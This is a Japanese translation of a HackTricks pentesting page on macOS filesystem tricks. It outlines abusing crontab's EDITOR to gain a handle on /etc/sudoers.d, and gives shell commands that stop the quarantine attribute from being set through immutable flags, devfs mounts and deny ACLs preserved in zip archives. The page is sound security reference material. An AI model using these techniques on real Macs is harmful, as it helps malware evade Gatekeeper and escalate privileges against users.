hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks.md

6.2 KiB
Raw Blame History

macOS FSのトリック

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

任意のFD

もし、プロセスが高い特権でファイルまたはフォルダを開くことができる場合、**crontabを悪用して、/etc/sudoers.d内のファイルをEDITOR=exploit.py**で開くことができます。そのため、exploit.py/etc/sudoers内のファイルへのFDを取得し、それを悪用することができます。

例: https://youtu.be/f1HA5QhLQ7Y?t=21098

クォレンティンxattrsトリックの回避

uchgフラグ

ファイル/フォルダにこの不変の属性がある場合、それにxattrを設定することはできません。

echo asd > /tmp/asd
chflags uchg /tmp/asd
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'

defvfs マウント

devfs マウントは xattr をサポートしていません。詳細は CVE-2023-32364 を参照してください。

mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'

writeextattr ACL

このACLは、ファイルにxattrsを追加することを防止します。

rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

cd /tmp
echo y | rm test

# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test

# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test

com.apple.acl.text権限

AppleDoubleファイル形式は、ACEを含むファイルをコピーします。

ソースコードでは、**com.apple.acl.text**という名前のxattrに格納されたACLテキスト表現が、展開されたファイルにACLとして設定されることがわかります。したがって、ACLが他のxattrの書き込みを防止するACLで圧縮されたアプリケーションをzipファイルに圧縮した場合...クアランティンxattrはアプリケーションに設定されませんでした

詳細については、元のレポートを参照してください。

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥